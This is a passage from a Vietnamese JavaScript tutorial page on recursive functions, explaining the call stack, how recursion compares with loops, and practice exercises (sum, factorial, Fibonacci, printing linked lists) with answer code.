0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Call stack là gì?</h2> <ul> <li><strong>Call</strong>: là lời gọi hàm.</li> <li><strong>Stack</strong>: là <a href="https://vi.wikipedia.org/wiki/Ng%C4%83n_x%E1%BA%BFp">ngăn xếp</a>, hoạt động theo nguyên tắc "vào sau ra trước", tiếng anh là <strong>Last In First Out</strong> - LIFO.</li> </ul> <p>Khi gọi hàm, JavaScript Engine đưa các lời gọi hàm vào trong một ngăn xếp.</p> <ul> <li>Hàm gọi sau được đưa lên đầu ngăn xếp, đến khi gọi xong thì đưa hàm ra khỏi ngăn xếp.</li> <li>Cứ như vậy đến khi <strong>ngăn xếp trống</strong> thì nghĩa là đã gọi xong hàm.</li> </ul> <blockquote> <p>Có thể bạn quan tâm: <a href="/trien-khai-stack-trong-javascript-voi-array-object-hay-map/">Triển khai Stack trong JavaScript với Array, Object hay Map</a></p> </blockquote> <p>Việc lưu lời gọi hàm vào ngăn xếp là <strong>tốn bộ nhớ</strong>. Vì vậy, JavaScript Engine sẽ giới hạn kích thước của ngăn xếp (khoảng <code>10000</code> hoặc hơn, tùy thuộc vào engine).</p> <p>Khi sử dụng hàm đệ quy trong JavaScript, bạn cần chú ý đến điều kiện cơ sở để thoát đệ quy, tránh đệ quy vô hạn dẫn đến tràn stack như ví dụ trên.</p> <h2 id="sử-dụng-hàm-đệ-quy-khi-nào" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-h%C3%A0m-%C4%91%E1%BB%87-quy-khi-n%C3%A0o" aria-label="sử dụng hàm đệ quy khi nào permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng hàm đệ quy khi nào?</h2> <p>Khi một bài toán có thể <strong>chia ra thành nhiều bài toán con</strong> và bài toán con <strong>có dạng tương tự</strong> như bài toán cha thì bạn có thể sử dụng hàm đệ quy.</p> <p>Ví dụ bài toán tính giá trị của lũy thừa <code>a^b</code> (a mũ b) với định nghĩa toán học là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">a^b = 1, nếu b = 0 a^b = a * a^(b-1), nếu b > 0</code></pre></div> <p>Theo định nghĩa trên, bài toán cha là tính <code>a^b</code> lại dựa trên bài toán con <code>a^(b-1)</code>. Vì vậy, bạn có thể áp dụng hàm đệ quy để tính giá trị <code>a^b</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">power</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// điều kiện dừng đệ quy</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>b <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// gọi lại chính nó</span> <span class="token keyword">return</span> a <span class="token operator">*</span> <span class="token function">power</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> b <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 8</span></code></pre></div> <h2 id="so-sánh-hàm-đệ-quy-và-vòng-lặp" style="position:relative;"><a href="#so-s%C3%A1nh-h%C3%A0m-%C4%91%E1%BB%87-quy-v%C3%A0-v%C3%B2ng-l%E1%BA%B7p" aria-label="so sánh hàm đệ quy và vòng lặp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh hàm đệ quy và vòng lặp</h2> <p>Bài toán tính lũy thừa trên có thể giải quyết bằng cách sử dụng vòng lặp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">power</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> b</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> ret <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> b<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> ret <span class="token operator">*=</span> a<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ret<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">power</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 8</span></code></pre></div> <p>Đa số các bài toán <strong>có thể sử dụng hàm đệ quy</strong> thì đều có thể giải bằng cách <strong>sử dụng vòng lặp</strong>.</p> <p>Việc sử dụng vòng lặp nhìn chung là <strong>chạy nhanh và tiết kiệm bộ nhớ</strong> hơn cách sử dụng hàm đệ quy. Vì sử dụng vòng lặp chỉ đưa lời gọi hàm vào call stack <strong>1 lần</strong> - không mất <strong>thời gian và không gian bộ nhớ</strong> như đệ quy.</p> <p>Ngược lại, cách sử dụng hàm đệ quy lại giúp code trở nên <strong>ngắn gọn và rõ ràng hơn</strong> sử dụng vòng lặp.</p> <blockquote> <p>Đối với một số bài toán <strong>có thể giải bằng hai cách</strong> mà <strong>không quá quan trọng thời gian và không gian bộ nhớ</strong> thì mình sẽ ưu tiên sử dụng <strong>hàm đệ quy</strong> trong JavaScript.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Hàm đệ quy trong JavaScript là hàm gọi lại chính nó, với hai thành phần cơ bản là:</p> <ul> <li><strong>Phần cơ sở</strong>: điều kiện để thoát đệ quy. Nếu điều kiện cơ sở không chính xác thì có thể dẫn tới đệ quy vô hạn, gây ra lỗi <strong>tràn stack</strong>.</li> <li><strong>Phần đệ quy</strong>: gọi lại chính nó.</li> </ul> <p>Đa số các bài toán <strong>có thể sử dụng hàm đệ quy</strong> thì đều có thể giải bằng cách <strong>sử dụng vòng lặp</strong>. Tùy thuộc vào yêu cầu của từng bài toán mà bạn lựa chọn cách làm phù hợp:</p> <ul> <li>Nếu bạn cần tối ưu thời gian, không gian bộ nhớ thì sử dụng vòng lặp.</li> <li>Nếu bạn ưu tiên tính ngắn ngọn, dễ bảo trì thì có thể sử dụng hàm đệ quy.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết hàm <code>sumTo(n)</code> để tính tổng các số từ 1 đến n: <code>1 + 2 + ... + n</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">sumTo(1) = 1 sumTo(2) = 2 + 1 = 3 sumTo(3) = 3 + 2 + 1 = 6 sumTo(4) = 4 + 3 + 2 + 1 = 10 ... sumTo(100) = 100 + 99 + ... + 2 + 1 = 5050</code></pre></div> <p>Triển khai hàm <code>sumTo(n)</code> theo 3 cách khác nhau:</p> <ul> <li>Sử dụng vòng lặp.</li> <li>Sử dụng đệ quy.</li> <li>Sử dụng công thức toán học.</li> </ul> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>► Cách 1: sử dụng vòng lặp</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumTo</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span>i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> sum <span class="token operator">+=</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> sum<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>► Cách 2: sử dụng đệ quy</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumTo</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> n <span class="token operator">+</span> <span class="token function">sumTo</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>► Cách 3: sử dụng công thức toán học</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sumTo</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span>n <span class="token operator">*</span> <span class="token punctuation">(</span>n <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Viết hàm <code>factorial(n)</code> tính n giai thừa: <code>n! = (n) * (n-1) * (n-2) * ... * 1</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">1! = 1 2! = 2 * 1 = 2 3! = 3 * 2 * 1 = 6 4! = 4 * 3 * 2 * 1 = 24 5! = 5 * 4 * 3 * 2 * 1 = 120</code></pre></div> <p>Triển khai hàm <code>factorial(n)</code> theo hai cách:</p> <ul> <li>Sử dụng vòng lặp.</li> <li>Sử dụng đệ quy.</li> </ul> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>► Cách 1: sử dụng vòng lặp</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">factorial</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> ret <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> ret <span class="token operator">*=</span> i<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ret<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>► Cách 2: sử dụng đệ quy</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">factorial</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> n <span class="token operator">*</span> <span class="token function">factorial</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Viết hàm <code>fibonacci(n)</code> tính số fibonacci theo công thức:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">fibonacci(n) = n nếu n = 0 hoặc n = 1 fibonacci(n) = fibonacci(n - 1) + fibonacci(n - 2)</code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">fibonacci(0) = 0 fibonacci(1) = 1 fibonacci(2) = 1 + 0 = 1 fibonacci(3) = 1 + 1 = 2 fibonacci(4) = 2 + 1 = 3 fibonacci(5) = 3 + 2 = 5</code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">fibonacci</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">===</span> <span class="token number">0</span> <span class="token operator">||</span> n <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> n<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token function">fibonacci</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token function">fibonacci</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-4" style="position:relative;"><a href="#b%C3%A0i-4" aria-label="bài 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 4</h3> <p>Cho danh sách liên kết đơn như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> list <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Viết hàm <code>printList(singleLinkedList)</code> để in ra các phần tử của list theo hai cách:</p> <ul> <li>Sử dụng vòng lặp.</li> <li>Sử dụng hàm đệ quy.</li> </ul> <p>Kết quả hiển thị trên console là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">1 2 3 4</code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>► Cách 1: sử dụng vòng lặp</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printList</span><span class="token punctuation">(</span><span class="token parameter">singleLinkedList</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> p <span class="token operator">=</span> singleLinkedList<span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>p<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> p <span class="token operator">=</span> p<span class="token punctuation">.</span>next<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>► Cách 2: sử dụng đệ quy</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printList</span><span class="token punctuation">(</span><span class="token parameter">singleLinkedList</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>singleLinkedList <span class="token operator">===</span> <span class="token keyword">null</span><span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>singleLinkedList<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">printList</span><span class="token punctuation">(</span>singleLinkedList<span class="token punctuation">.</span>next<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-5" style="position:relative;"><a href="#b%C3%A0i-5" aria-label="bài 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 5</h3> <p>Cho danh sách liên kết đơn như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> list <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token literal-property property">next</span><span class="token operator">:</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Viết hàm <code>printReverseList(singleLinkedList)</code> để in ra các phần tử của list theo thứ tự ngược lại với bài 4 bằng hai cách:</p> <ul> <li>Sử dụng vòng lặp.</li> <li>Sử dụng hàm đệ quy.</li> </ul> <p>Kết quả hiển thị trên console là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">4 3 2 1</code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>► Cách 1: sử dụng vòng lặp</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printReverseList</span><span class="token punctuation">(</span><span class="token parameter">singleLinkedList</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> p <span class="token operator">=</span> singleLinkedList<span class="token punctuation">;</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>p<span class="token punctuation">)</span> <span class="token punctuation">{</span> arr<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>p<span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> p <span class="token operator">=</span> p<span class="token punctuation">.</span>next<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> arr<span class="token punctuation">.</span>length <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>► Cách 2: sử dụng đệ quy</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printReverseList</span><span class="token 